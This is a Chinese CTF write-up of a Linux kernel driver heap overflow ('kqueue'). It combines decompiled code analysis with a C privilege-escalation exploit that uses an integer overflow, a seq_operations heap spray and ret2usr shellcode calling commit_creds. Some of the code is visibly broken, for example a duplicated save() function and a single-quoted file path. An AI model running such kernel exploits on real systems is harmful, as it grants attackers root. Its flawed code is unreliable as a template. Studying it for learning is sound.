heap_overflow

这些天主要是在扩充知识栈

我们先去学习一下之前延误的内核堆溢出

题目附件下载

题目来自

强网杯2021线上赛 - notebook

通过网盘分享的文件:Handout.zip
链接: https://pan.baidu.com/s/1cMFXRZ0yvlmnSrBPNZz6GA?pwd=aaaa 提取码: aaaa
--来自百度网盘超级会员v4的分享

我们经过几分钟的环境配置,先把基础的环境的配置弄好

打包脚本的话也在前期的文章中也讲解了

基于栈溢出的内核ROP利用分析与实践-先知社区

对了这个账号密码也需要补充一下,找了老久老久了

这道题的文件系统用 Buildroot 进行构建,登入用户名为 ctf,密码为 kqueue

利用原理

我们一开始直接上手的题目是全保护,跳过了ret2usr,这里我们顺便把ret2usr的原理补充上,heapoverflow的实现需要堆风水,大量堆喷目标结构体即可,后续我们的exp也是有概率通,因为堆布局并不是很稳定。

背景

ret2usr通过控制流劫持返回用户空间执行代码,而heapoverflow则通过内核堆内存破坏实现权限提升。

ret2usr原理

我们补充一下ret2usr利用原理

ret2usr(return-to-user)是一种内核漏洞利用技术,其核心思想是让处于内核态(ring0)的执行流程返回到用户态(ring3)执行攻击者提供的代码。在未启用SMEP(Supervisor Mode Execution Prevention)保护的系统中,攻击者可以直接通过rop链(return-oriented programming)劫持内核执行流,执行commit_creds(prepare_kernel_cred(0))等提权函数,然后使用iretq指令返回用户空间 。这一过程需要精确控制内核栈,构造正确的rop链,并设置iretq指令所需的寄存器值。

ret2usr攻击的关键在于劫持内核控制流并返回用户态执行代码。在内核态执行时,攻击者可以访问用户空间的内存区域,因此只需在用户空间布置好恶意代码,然后让内核执行iretq指令返回到该地址即可。iretq指令的执行需要特定的栈布局:RIP(指令指针)、CS(代码段选择子)、RFLAGS(标志寄存器)、RSP(堆栈指针)和SS(堆栈段选择子)。这些值需要在rop链中精心构造,确保执行iretq后能够正确返回到用户空间的恶意代码处。

在利用过程中,攻击者通常需要先执行一些内核函数来提升权限,例如commit_creds(prepare_kernel cred(0)),然后再返回用户空间执行自己的代码。这需要在rop链中包含这些函数的地址,并通过参数传递正确设置。例如,prepare_kernel cred(0)会创建一个root权限的kernel cred结构,commit_creds会将当前进程的权限设置为该kernel cred的权限。

heapoverflow原理

heapoverflow(堆溢出)是内核漏洞中的一种常见类型,主要表现为内核态堆内存越界写入。在Linux内核中,堆内存管理主要由SLUB(Scalable Low Overhead Usercopy)分配器负责,它采用slab缓存机制管理小块内存(通常小于8192字节 。heapoverflow漏洞通常发生在内核函数使用copy_from_user等函数从用户空间复制数据到内核缓冲区时,未正确校验用户提供的数据长度,导致数据写入超出kmalloc/kfree分配的缓冲区范围。

​

kmalloc/kfree机制是内核堆管理的基础。kmalloc函数用于分配内核堆内存,其原型为void *kmalloc(size_t size, gfp_t flags) 。其中,size参数指定要分配的内存大小,flags参数指定内存分配的特性(如是否可以睡眠)。kmalloc内部会根据分配大小选择合适的slab缓存,并从缓存中获取空闲对象。在SLUB分配器中,kmalloc分配的内存对象可能被缓存在CPU局部缓存(kmem_cache_cpu)或全局部分链表(partial链表)中,释放后对象会被重新加入缓存。

用户数据复制过程是heapoverflow漏洞的典型触发点。copy_from_user函数用于将用户空间的数据复制到内核空间,其原型为unsigned long copy_from_user(void *to, const void __user *from, unsigned long n) 。该函数首先验证用户地址的有效性,然后复制数据到内核缓冲区。如果内核函数在验证用户数据后,未将数据一次性复制到内核空间,而是分两次读取或复制,攻击者可能在两次操作之间修改数据,导致后续复制超出分配的缓冲区范围。

内核堆溢出的利用链通常包括以下几个步骤:首先,通过kmalloc分配一个内核堆对象;然后,通过越界写入覆盖相邻对象的函数指针或关键数据;最后,触发内核对该被篡改对象的访问,从而执行恶意代码 。

题目分析

这个题目给了我们的源码,我们知道,ida给我们分析内核的时候,是参数是及其混乱的,我们这次结合源码探索为什么混乱的原因

直接看ida还原之后的,我们通过阅读源码可以知道request的结构体如下

typedef struct{
    uint32_t max_entries;
    uint16_t data_size;
    uint16_t entry_idx;
    uint16_t queue_idx;
    char* data;
}request_t;

我们写个idapython导入结构体

# -*- coding: utf-8 -*-
# IDAPython: add request_t into Local Types (no ida_struct).
# Will NOT fail hard if it already exists / duplicate.

import idc
import ida_kernwin

BAD = idc.BADADDR

def try_set_local_type(decl):
    try:
        slot = idc.set_local_type(-1, decl, idc.PT_TYP)
        if slot == 0:
            print("[!] set_local_type failed (maybe duplicate or parse error).")
            return False
        print("[+] set_local_type ok (slot=%d)" % slot)
        return True
    except Exception as e:
        print("[!] set_local_type exception: %s" % e)
        return False

def struc_exists(name):
    try:
        sid = idc.get_struc_id(name)
        return sid not in (BAD, -1)
    except Exception:
        return False

def ensure_struct(tag, decl_stdint, decl_builtin):
    print("\n== ensure struct: %s ==" % tag)
    if struc_exists(tag):
        print("[i] %s already exists, skip import." % tag)
        return True
    if try_set_local_type(decl_stdint):
        print("[i] %s imported (stdint)." % tag)
        return True
    if try_set_local_type(decl_builtin):
        print("[i] %s imported (builtin)." % tag)
        return True
    print("[!] %s import failed." % tag)
    return False

# best-effort typedefs (safe to rerun)
print("== typedef stdint-like aliases (best-effort) ==")
try_set_local_type("typedef unsigned __int16 uint16_t;")
try_set_local_type("typedef unsigned __int32 uint32_t;")
try_set_local_type("typedef unsigned __int64 uint64_t;")

decl_request_stdint = """
typedef struct request_t {
    uint32_t max_entries;
    uint16_t data_size;
    uint16_t entry_idx;
    uint16_t queue_idx;
    char *data;
} request_t;
"""

decl_request_builtin = """
typedef struct request_t {
    unsigned __int32 max_entries;
    unsigned __int16 data_size;
    unsigned __int16 entry_idx;
    unsigned __int16 queue_idx;
    char *data;
} request_t;
"""

ok = ensure_struct("request_t", decl_request_stdint, decl_request_builtin)

if ok:
    ida_kernwin.info("Done: request_t ensured in Local Types.\nReopen Hex-Rays view if needed.")
else:
    ida_kernwin.warning("Failed to import request_t. Check Output window for parse errors.")

之后我们手动还原一下,注意这里的类型是直接就是这个结构体的名称,后面不加星号,还原之后的代码如下

可以看到中间有很多用不到的结构体

__int64 __fastcall kqueue_ioctl(__int64 a1, unsigned int a2, __int64 arg)
{
  __int64 v4; // rdx
  __int64 v5; // rcx
  __int64 v6; // r8
  __int64 v7; // r9
  __int64 kqueue; // rbp
  request_t request; // [rsp+0h] [rbp-38h] BYREF
  unsigned __int64 v11; // [rsp+18h] [rbp-20h]

  v11 = __readgsqword(0x28u);
  mutex_lock(&operations_lock);
  if ( copy_from_user(&request, arg, 24) )
    err("[-] copy_from_user failed");
  if ( a2 == -626135314 )
  {
    kqueue = edit_kqueue(&request, arg, v4, v5, v6, v7, *&request.max_entries, request.queue_idx, request.data);
  }
  else if ( a2 > 0xDAADEEEE )
  {
    kqueue = -1;
    if ( a2 == -559038242 )
      kqueue = create_kqueue(&request, arg, v4, v5, v6, v7, *&request.max_entries);
  }
  else if ( a2 == -1325024578 )
  {
    kqueue = save_kqueue_entries(&request, arg, v4, v5, v6, v7, *&request.max_entries, request.queue_idx);
  }
  else if ( a2 == -1159869698 )
  {
    kqueue = delete_kqueue(&request, arg, v4, v5, v6, v7, *&request.max_entries, request.queue_idx);
  }
  else
  {
    kqueue = -1;
  }
  mutex_unlock(&operations_lock);
  return kqueue;
}

然后我们审计一下create_kqueue,保持惯例

我们通过阅读源码,request里面也是有两个结构体

一个是

typedef struct{
    uint16_t data_size;
    uint64_t queue_size; /* This needs to handle larger numbers */
    uint32_t max_entries;
    uint16_t idx;
    char* data;
}queue;

另外一个是

struct queue_entry{
    uint16_t idx;
    char *data;
    queue_entry *next;
};

我们继续写个idapython导入一下这里的结构体

# -*- coding: utf-8 -*-
import idc
import ida_kernwin

BAD = idc.BADADDR

def try_set_local_type(decl):
    try:
        slot = idc.set_local_type(-1, decl, idc.PT_TYP)
        if slot == 0:
            print("[!] set_local_type failed (maybe duplicate or parse error).")
            return False
        print("[+] set_local_type ok (slot=%d)" % slot)
        return True
    except Exception as e:
        print("[!] set_local_type exception: %s" % e)
        return False

def struc_exists(name):
    try:
        sid = idc.get_struc_id(name)
        return sid not in (BAD, -1)
    except Exception:
        return False

def ensure_struct(tag, decl_stdint, decl_builtin):
    """
    分开导入:如果 struct 已存在 -> 直接成功
    否则先试 stdint 版,失败再回退 builtin 版
    """
    print("\n== ensure struct: %s ==" % tag)

    if struc_exists(tag):
        print("[i] %s already exists, skip import." % tag)
        return True

    if try_set_local_type(decl_stdint):
        print("[i] %s imported (stdint)." % tag)
        return True

    if try_set_local_type(decl_builtin):
        print("[i] %s imported (builtin)." % tag)
        return True

    print("[!] %s import failed." % tag)
    return False

def set_type_if_exists(sym_name, c_decl):
    ea = idc.get_name_ea_simple(sym_name)
    if ea in (BAD, -1):
        print("[i] symbol not found: %s" % sym_name)
        return False
    try:
        ok = idc.SetType(ea, c_decl)
        print("[+] SetType: %s := %s  ok=%s" % (sym_name, c_decl, bool(ok)))
        return bool(ok)
    except Exception as e:
        print("[!] SetType exception: %s err=%s" % (sym_name, e))
        return False

# ---------------------------------------
# 0) (Optional but recommended) typedefs
#    避免 stdint 版因为缺 uint32_t/uint64_t 导入失败
#    重复声明失败没关系
# ---------------------------------------
print("== typedef stdint-like aliases (best-effort) ==")
try_set_local_type("typedef unsigned __int16 uint16_t;")
try_set_local_type("typedef unsigned __int32 uint32_t;")
try_set_local_type("typedef unsigned __int64 uint64_t;")

# ---------------------------------------
# 1) queue_entry (SEPARATE)
# ---------------------------------------
decl_queue_entry_stdint = """
typedef struct queue_entry {
    uint16_t idx;
    char *data;
    struct queue_entry *next;
} queue_entry;
"""

decl_queue_entry_builtin = """
typedef struct queue_entry {
    unsigned __int16 idx;
    char *data;
    struct queue_entry *next;
} queue_entry;
"""

# ---------------------------------------
# 2) queue (SEPARATE)
# ---------------------------------------
decl_queue_stdint = """
typedef struct queue {
    uint16_t data_size;
    uint64_t queue_size; /* This needs to handle larger numbers */
    uint32_t max_entries;
    uint16_t idx;
    char *data;
} queue;
"""

decl_queue_builtin = """
typedef struct queue {
    unsigned __int16 data_size;
    unsigned __int64 queue_size; /* This needs to handle larger numbers */
    unsigned __int32 max_entries;
    unsigned __int16 idx;
    char *data;
} queue;
"""

ok1 = ensure_struct("queue_entry", decl_queue_entry_stdint, decl_queue_entry_builtin)
ok2 = ensure_struct("queue", decl_queue_stdint, decl_queue_builtin)

# ---------------------------------------
# 3) Optional: type the global pointer array
#    不写 MAX_QUEUES,避免宏不存在导致 SetType 失败
# ---------------------------------------
set_type_if_exists("kqueues", "queue *kqueues[];")

if ok1 and ok2:
    ida_kernwin.info("Done: queue_entry + queue ensured in Local Types.\nIf Hex-Rays doesn't refresh, reopen the decompile view (F5).")
else:
    ida_kernwin.warning("queue/queue_entry ensure failed (or partially). Check Output for parse errors.")

还原之后的代码如下

注释这么多的原因是因为我对比源码看了看ida的反编译和源码的区别

ida反编译可能将源码多行合并,也可能将单行拆分我们观察到

我们分析一下create函数

这里申请了很多结构体,第一次申请是为了存储queen结构体,第二次申请是为了存储queen指向的data的结构体,第三个申请的结构体是为了存储queen管理的current_entry结构体,并且第三个申请的结构体是组成了一个单向链表的。

并且还需要要注意这里的分配,我们第一次申请之后的空间是下面这个样子的

chunk#1 (一次 kmalloc 得到的一整块连续内存)
+---------------------------+  <- queue 指针指向这里(queue 头)
| struct queue              |
|  - data (指针)            |
|  - max_entries            |
|  - data_size              |
|  - queue_size             |
+---------------------------+  <- entries 起始地址 = (queue 后面紧跟的区域)
| queue_entry[1]            |
| queue_entry[2]            |
| ...                       |
| queue_entry[max_entries]  |
+---------------------------+

这里的我们的漏洞的用人话说就是

我们一开始传入-1,这个数值并不会触发错误,我们进入edit的流程之后,我们就拥有了近乎无限地址写的功能。

代码的是下面这个部分

queue_size = 24LL * (data_entry_fuone + 1) + 0x20;

之后第二次申请的话空间内存的如下图所示

chunk#2
+---------------------------+
| queue->data 指向的 buffer |
| 大小 = request.data_size  |
+---------------------------+

第三次申请的内存布局如下所示

chunk#3_i (i=1..max_entries)
+---------------------------+
| entry[i].data 的 buffer   |
| 大小 = request.data_size  |
+---------------------------

这样之后,我们就大体上理解了这里的这些代码实现的内存布局

__int64 __fastcall create_kqueue(
        __int64 request,
        __int64 arg,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        __int64 _max_entries)
{
  unsigned int max_entries; // r13d
  uint64_t queue_size; // rbx
  void *queue__queue___validate((char__)kmalloc(queue_size_GFP_KERNEL)); // rax
  queue *queue; // r15
  __int64 queue__data___validate((char__)kmalloc(request.data_size_GFP_KE; // rax
  queue_entry *prev_entry; // rbx
  int i; // ebp
  __int64 current_entry__data___(char__)(validate((char__)kmalloc(request; // rax
  __int64 n5; // rax
  unsigned int n5_1; // ebx

  if ( queueCount > 5 )                         // if(queueCount > MAX_QUEUES)
    err("[-] Max queue count reached");
  if ( !_max_entries )                          // if(request.max_entries<1)
    err("[-] kqueue entries should be greater than 0");
  if ( WORD2(_max_entries) > 0x20u )            // if(request.data_size>MAX_DATA_SIZE)
    err("[-] kqueue data size exceed");
  max_entries = _max_entries + 1;
  queue_size = 24LL * (_max_entries + 1) + 0x20;
  if ( queue_size > 0x10020 )                   // if(queue_size>sizeof(queue) + 0x10000)
    err("[-] Max kqueue alloc limit reached");
  queue__queue___validate((char__)kmalloc(queue_size_GFP_KERNEL)) = _kmalloc(24LL * (_max_entries + 1) + 0x20, 0xCC0);// queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
  queue = validate(queue__queue___validate((char__)kmalloc(queue_size_GFP_KERNEL)));
  queue__data___validate((char__)kmalloc(request.data_size_GFP_KE = _kmalloc(WORD2(_max_entries), 0xCC0);// queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));
  queue->data = validate(queue__data___validate((char__)kmalloc(request.data_size_GFP_KE);
  queue->data_size = WORD2(_max_entries);       // queue->data_size   = request.data_size;
  queue->max_entries = _max_entries;            // queue->max_entries = request.max_entries;
  queue->queue_size = queue_size;               // queue->queue_size  = queue_size;
  prev_entry = &queue[1];                       // queue_entry* prev_entry = current_entry;queue_entry* current_entry = kqueue_entry;
  if ( max_entries > 1 )
  {
    for ( i = 1; i != max_entries; ++i )        // for(i=1;i<request.max_entries+1;i++){
    {
      if ( _max_entries != i )                  // if(i!=request.max_entries)
        prev_entry->next = 0;                   // prev_entry->next = NULL;
      prev_entry->idx = i;                      // current_entry->idx = i;
      current_entry__data___(char__)(validate((char__)kmalloc(request = _kmalloc(WORD2(_max_entries), 0xCC0);// current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));
      prev_entry->data = validate(current_entry__data___(char__)(validate((char__)kmalloc(request);
      ++prev_entry;                             //  prev_entry->next = current_entry;
      prev_entry[-1].next = prev_entry;         // prev_entry = prev_entry->next;
    }
  }
  for ( n5 = 0; n5 != 5; ++n5 )                 // for(j=0;j<MAX_QUEUES;j++){
  {
    n5_1 = n5;
    if ( !kqueues[n5] )                         // if(kqueues[j] == NULL)
      break;
    n5_1 = n5 + 1;
  }
  if ( n5_1 > 5 )                               // if(j>MAX_QUEUES)
    err("[-] No kqueue slot left");
  kqueues[n5_1] = queue;                        // kqueues[j] = queue;
  ++queueCount;                                 // queueCount++;
  return 0;
}

这里我们的没有源码的话我们着重看着大小去猜测结构体

然后我们看一下save这个有漏洞的函数

重命名之后的如下,是真的难还原,对比着源码都感到很吃力

虽然说还原好之后清晰了很多很多,但是这个还原,额,首先是三个结构体,然后是和源码的具体比对确定结构体的起始位置,最后是ida里局部变量滥用的问题,假如说没有源码,还原起来是真的难

但是也有收获,我们看到了ida还原之后长长识别的哪些是有用的信息,哪些是无用的信息,对于我们的进一步审计有很大的帮助

这个我们从memcpy追溯下去,因为这里的数据不是我们可以直接写上,而是通过拷贝拷贝过去的

__int64 __fastcall save_kqueue_entries(
        request_t *request,
        __int64 arg,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        request_t *_max_entries,
        unsigned __int16 queue_idx)
{
  queue *queue; // rax
  queue *queue_1; // r13
  __int64 new_queue; // rax
  char *new_queue_; // rbp
  char *src; // rsi
  char *new_queue_1; // rbp
  unsigned int max_entries; // r14d
  queue_entry *kqueue_entry; // rbx
  unsigned int i; // r12d
  char *kqueue_entry_1; // rsi

  if ( queue_idx > 5u )
    err("[-] Invalid kqueue idx");
  if ( isSaved[queue_idx] )
    err("[-] Queue already saved");
  queue = validate(kqueues[queue_idx]);
  queue_1 = queue;
  if ( !_max_entries || queue->max_entries < _max_entries )
    err("[-] Invalid entry count");
  new_queue = kzalloc(queue->queue_size, 0xCC0);
  new_queue_ = validate(new_queue);
  if ( WORD2(_max_entries) > queue_1->queue_size )
    err("[-] Entry size limit exceed");
  src = queue_1->data;
  if ( !WORD2(_max_entries) || !src )
    err("[-] Internal error");
  memcpy(new_queue_, src, WORD2(_max_entries));
  validate(new_queue_);
  new_queue_1 = &new_queue_[queue_1->data_size];
  max_entries = _max_entries + 1;
  kqueue_entry = &queue_1[1];
  if ( queue_1 != -32LL && max_entries > 1 )
  {
    i = 1;
    do
    {
      kqueue_entry_1 = kqueue_entry->data;
      if ( !kqueue_entry_1 )
        break;
      memcpy(new_queue_1, kqueue_entry_1, WORD2(_max_entries));
      validate(new_queue_1);
      kqueue_entry = kqueue_entry->next;
      new_queue_1 += queue_1->data_size;
      ++i;
      if ( !kqueue_entry )
        break;
    }
    while ( i < max_entries );
  }
  isSaved[queue_idx] = 1;
  return 0;
}

而这个save的溢出需要edit写入数据

主要是从用户空间拷贝数据到指定 queue_entry->size,如果给的 entry_idx为 0 则拷到 queue->data

__int64 __fastcall edit_kqueue(
        int p__max_entries,
        int arg,
        int a3,
        int a4,
        int a5,
        int a6,
        request_t *_max_entries,
        unsigned __int16 n5,
        void *src)
{
  queue *idx; // r12
  queue *v10; // rbx
  unsigned int v11; // ebp
  void *v13; // rax
  uint16_t n; // ax
  void *v15; // rax

  if ( n5 > 5u )
    err("[-] Invalid kqueue idx");
  idx = kqueues[n5];
  if ( !idx )
    err("[-] kqueue does not exist");
  if ( HIWORD(_max_entries) > idx->max_entries )
    err("[-] Invalid kqueue entry_idx");
  v10 = idx + 1;
  exists = 0;
  if ( idx->max_entries + 1 > 1 )
  {
    v11 = 1;
    do
    {
      if ( v10 && src && idx->data_size && v10->data_size == HIWORD(_max_entries) )
      {
        v13 = memcpy(v10->queue_size, src, idx->data_size);
        validate(v13);
        exists = 1;
      }
      v10 = *&v10->max_entries;
      ++v11;
    }
    while ( idx->max_entries + 1 > v11 );
    if ( src == 0 || HIWORD(_max_entries) != 0 )
      return -(exists == 0) & 0xFFFFFFFFFFFFFFFDLL;
    if ( !v10 )
      return -(exists == 0) & 0xFFFFFFFFFFFFFFFDLL;
    n = idx->data_size;
    if ( !idx->data_size )
      return -(exists == 0) & 0xFFFFFFFFFFFFFFFDLL;
    goto LABEL_20;
  }
  if ( src == 0 || HIWORD(_max_entries) != 0 || idx == -32LL )
    return -3;
  n = idx->data_size;
  if ( idx->data_size )
  {
LABEL_20:
    v15 = memcpy(idx->data, src, n);
    validate(v15);
    return 0;
  }
  return -3;
}

这个是delete函数,一看就知道没有uaf,我这里是只能看汇编

.text:0000000000000030 delete_kqueue   proc near               ; CODE XREF: kqueue_ioctl+74↓p
.text:0000000000000030                 push    rbp
.text:0000000000000031                 push    rbx
.text:0000000000000032                 movzx   ebx, word ptr [rsp+20h]
.text:0000000000000037                 cmp     bx, 5
.text:000000000000003B                 ja      short loc_80
.text:000000000000003D
.text:000000000000003D loc_3D:                                 ; CODE XREF: delete_kqueue+5C↓j
.text:000000000000003D                 movzx   ebp, bx
.text:0000000000000040                 movzx   ebx, bx
.text:0000000000000043                 mov     rbx, ds:kqueues[rbx*8]
.text:000000000000004B                 test    rbx, rbx
.text:000000000000004E                 jz      short loc_8E
.text:0000000000000050                 mov     rdi, rbx        ; CODE XREF: .text:000000000000009A↓j
.text:0000000000000050                                         ; s
.text:0000000000000053                 call    kfree           ; PIC mode
.text:0000000000000058                 mov     rdx, [rbx+8]
.text:000000000000005C                 mov     esi, 0          ; c
.text:0000000000000061                 mov     rdi, rbx        ; s
.text:0000000000000064                 call    memset          ; PIC mode
.text:0000000000000069                 movsxd  rbp, ebp
.text:000000000000006C
.text:000000000000006C loc_6C:                                 ; DATA XREF: delete_kqueue:loc_6C+3↑r
.text:000000000000006C                                         ; delete_kqueue+4C↓r
.text:000000000000006C                 mov     ds:kqueues[rbp*8], 0
.text:0000000000000078                 mov     eax, 0
.text:000000000000007D                 pop     rbx
.text:000000000000007E                 pop     rbp
.text:000000000000007F                 retn

漏洞利用

前面我们分析可以知道,这里是有一个整数的溢出的,我们传图我们的entry的数目为-1的时候,后续是正好申请0个entry,这里的idx是很多的,可以理解成heap oob这个类型的利用题目

这里我们的利用的0x18的结构体,这个题目我们可以继续以前的利用,利用seq_opeaations进行劫持

seq_operations这个结构体在前文已经详细讲解了,这里不过多讲解

链接如下

内核seq_operation+pt_regs结构体组合利用学习-先知社区

但是这里我们有个问题,我们没法做到准确的溢出修改seq_operations,对于这个情况,我们可以大量堆喷,在内核空间中喷射足够多的结构体填充满那个区域即可

我们可以看一下保护

#!/bin/bash

#stty intr ^]
stty sane
exec qemu-system-x86_64 \
    -cpu kvm64 \
    -m 512 \
    -nographic \
    -kernel "bzImage" \
    -append "console=ttyS0 oops=panic panic=-1 pti=off kaslr quiet" \
    -monitor /dev/null \
    -initrd "./rootfs.cpio" \
    -s

除了aslr,其他的都没有开启。

这里可以给我们补充一下ret2usr,而不用去找内核的片段的

脚本编写

很长时间没写了,我们首先先把通用的脚本模版贴上去

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/xattr.h>
#include <sched.h>
#include <sys/prctl.h>
#include <ctype.h>

#define u8 unsigned char
#define s8 char
#define u16 unsigned short
#define s16 short
#define u32 unsigned int
#define s32 int
#define u64 unsigned long
#define s64 long

#define PAGE_SIZE 4096

#define info1(color, msg) info_impl(color, msg, 0, 0)
#define info2(color, msg, val) info_impl(color, msg, 1, (size_t)(val))
//但 C 语言 不支持函数重载(不能有两个同名函数参数不同),所以要用 宏技巧 模拟。
#define info(...) _GET_INFO_MACRO(__VA_ARGS__, info2, info1)(__VA_ARGS__)
//这在 C 语言中是一种常见的“模拟函数重载”的技巧。虽然看起来有点绕,但它是标准且有效的写法。
#define _GET_INFO_MACRO(_1,_2,_3,NAME,...) NAME
//怎么做到的?靠 _GET_INFO_MACRO 的参数匹配技巧。

typedef enum { BLUE, RED, YELLOW, PINK, WHITE,GREEN,RESET } color_t;

static const char* color_code(color_t c) {
    switch(c) {
        case BLUE:   return "\033[34m";
        case RED:    return "\033[31m";
        case YELLOW: return "\033[33m";
        case PINK:   return "\033[35m";
        case WHITE:  return "\033[37m";
        case GREEN:  return "\x1b[32m";
        case RESET:  return "\x1b[0m";
        default:     return "\033[0m";
    }
}

static inline void info_impl(color_t c, const char *msg, int has_val, size_t val) {
    if (has_val) {
        printf("\033[1m%s[+] %s ===> \033[0m0x%lx\n", color_code(c), msg, val);
    } else {
        printf("\033[1m%s[*] %s\033[0m\n", color_code(c), msg);
    }
}
//如果 has_val == 1:打印带 ===> 0x... 的格式(用于地址、数值)
void errExit(char *msg){printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);}
//这个退出的时候是红色字体也是写好了
void bind_cpu(int core)
{
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t user_cs,user_ss,user_rflags,user_sp;
void save(){
    __asm__(
        "mov user_cs,cs;"
        "mov user_ss,ss;"
        "mov user_sp,rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[*] saved");
}//保存寄存器指令

void get_shell(){
    system("/bin/sh");
}

我们写一下最后的提权需要执行的汇编指令,这个省去查找内核这么麻烦了

这里我们的rip的变量名和实际意义重合了,我们重命名一下就没事了

void shellcode()
{
    __asm__(
        "mov r12,[rsp + 0x8];"
        "sub r12,0x201179;"
        "mov r13,r12;"
        "add r12,0x8c580;"
        "add r13,0x8c140;"
        "xor rdi,rdi;"
        "call r12;"
        "mov rdi,rax;"
        "call r13;"
        "swapgs;"
        "mov r14,user_ss;"
        "push r14;"
        "mov r14,user_sp;"
        "push r14;"
        "mov r14,user_rflags;"
        "push r14;"
        "mov r14,user_cs;"
        "push r14;"
        "mov r14,rip;"
        "push r14;"
        "iretq;"
    );
}

然后我们去写一下这个题目的结构体

我们传入的是传这个结构体就行,这个结构体会自动的解析成我们需要交互的那个结构体

typedef struct{
    u32 max_entries;
    u16 data_size;
    u16 entry_idx;
    u16 queue_idx;
    char* data;
}request_t;

然后我们定义具体ioctl所需要的结构体,完善一下交互

u64 dev_fd;
u64 rip;
void create(u32 max_entries,u16 data_size)
{
    request_t req = 
    {
        .max_entries = max_entries,
        .data_size   = data_size,
    };
    ioctl(dev_fd,0xDEADC0DE,&req);
}

void edit(u16 queue_idx,u16 entry_idx,s8 *data)
{
    request_t req = 
    {
        .queue_idx = queue_idx,
        .entry_idx = entry_idx,
        .data      = data,
    };
    ioctl(dev_fd,0xDAADEEEE,&req);
}

void delete(u16 queue_idx)
{
    request_t req = 
    {
        .queue_idx = queue_idx,
    };
    ioctl(dev_fd,0xBADDCAFE,&req);
}


void save(u16 queue_idx,u32 max_entries,u16 data_size)
{
    request_t req =
    {
        .queue_idx = queue_idx,
        .max_entries = max_entries,
        .data_size = data_size,
    };
    ioctl(dev_fd,0xB105BABE,&req);
}

然后我们写main函数,我们先把框架建立起来

我们用rip存储我们实际提权的地址了,data全部存储指向我们用户身份提权的代码的指针

int main()
{
    u64 seq_fd[0x200];
    u64 *page;
    u64 data[0x20];
    save();
    rip = (u64)get_shell;
    dev_fd = open("/dev/kqueue",O_RDONLY);
    if(dev_fd < 0)
        errExit("fail to open the dev");
    for(int i = 0;i < 0x20;i++)
    {
        data[i] = (u64)shellcode;
    }
}

然后我们写入queue中,顺便堆喷seq_operations这个结构体,和我们一开始分析的一样

    create(0xffffffff,0x20*8);
    edit(0,0,data);
    for(int i = 0;i < 0x200;i++){
        seq_fd[i] = open('/proc/self/stat',O_RDONLY);
    }
    save(0,0,0x40);

最后我们触发这个被覆写的结构体,这里的触发原理我们之前的那篇文章也讲到过了

    for(int i = 0; i < 0x200;i++)
    {
        read(seq_fd[i],data,1);
    }

最后我们运行就能获取shell

然后我们运行的时候发现给了这些错误提示

  if ( WORD2(data_entry_fuone) > 0x20u )        // if(request.data_size>MAX_DATA_SIZE)
    err("[-] kqueue data size exceed");
  if ( !_max_entries || queue->max_entries < _max_entries )
    err("[-] Invalid entry count");
  if ( WORD2(_max_entries) > queue_1->queue_size )
    err("[-] Entry size limit exceed");

只要不影响程序执行的报错提示不是报错

附上这个题目的gdb脚本,我们调试一下哪里出现了问题

#!/bin/sh
gdb -q \
        -ex "target remote localhost:1234" \
        -ex "info b" 

调试讲解

这里讲解一下调试的细节吧

比如说和这个,这个是没有关闭aslr导致的

0xffffffff90000000 0xffffffff90e02000 r-xp   e02000      0 [pt_ffffffff90000]
0xffffffff90e02000 0xffffffff91000000 rw-p   1fe000      0 [pt_ffffffff90e02]
0xffffffff91000000 0xffffffff91348000 r--p   348000      0 [pt_ffffffff91000]
0xffffffff91348000 0xffffffff91afd000 rw-p   7b5000      0 [pt_ffffffff91348]
0xffffffff91afd000 0xffffffff91afe000 r--p     1000      0 [pt_ffffffff91afd]
0xffffffff91afe000 0xffffffff91e00000 rw-p   302000      0 [pt_ffffffff91afe]
0xffffffffc024c000 0xffffffffc024d000 r-xp     1000      0 [pt_ffffffffc024c]
0xffffffffc024d000 0xffffffffc024e000 r--p     1000      0 [pt_ffffffffc024d]
0xffffffffc024e000 0xffffffffc0250000 rw-p     2000      0 [pt_ffffffffc024e]
0xffffffffff5fb000 0xffffffffff5fd000 rw-p     2000      0 [pt_ffffffffff5fb]

关闭了之后是这样的,这样之后我们就可以在我们的驱动上打断点去研究了

0xffffff67001f2000 0xffffff67001f3000 r--p     1000      0 [pt_ffffff67001f2]
0xffffffff81000000 0xffffffff81e02000 r-xp   e02000      0 [pt_ffffffff81000]
0xffffffff81e02000 0xffffffff82000000 rw-p   1fe000      0 [pt_ffffffff81e02]
0xffffffff82000000 0xffffffff82348000 r--p   348000      0 [pt_ffffffff82000]
0xffffffff82348000 0xffffffff82afd000 rw-p   7b5000      0 [pt_ffffffff82348]
0xffffffff82afd000 0xffffffff82afe000 r--p     1000      0 [pt_ffffffff82afd]
0xffffffff82afe000 0xffffffff82e00000 rw-p   302000      0 [pt_ffffffff82afe]
0xffffffffc0000000 0xffffffffc0001000 r-xp     1000      0 [pt_ffffffffc0000]
0xffffffffc0001000 0xffffffffc0002000 r--p     1000      0 [pt_ffffffffc0001]
0xffffffffc0002000 0xffffffffc0004000 rw-p     2000      0 [pt_ffffffffc0002]
0xffffffffff5fb000 0xffffffffff5fd000 rw-p     2000      0 [pt_ffffffffff5fb]

这里可以加载ko文件的调试符号进行调试,也可以手动从0xffffffffc0001000这个偏移上进行加减调试

然后的我们也可以进行exp脚本的用户态地址调试,这里需要我们打印好函数的地址

比如说我们确定一下全局数组的位置,这里ida里的数组的地址是没有展开的,具体的位置需要我们动态调试确定

.text:0000000000000343
.text:0000000000000343 loc_343:
.text:0000000000000343 mov     ebx, ebx
.text:0000000000000345 mov     ds:kqueues[rbx*8], r15
.text:000000000000034D add     cs:queueCount, 1
.text:0000000000000355 mov     eax, 0
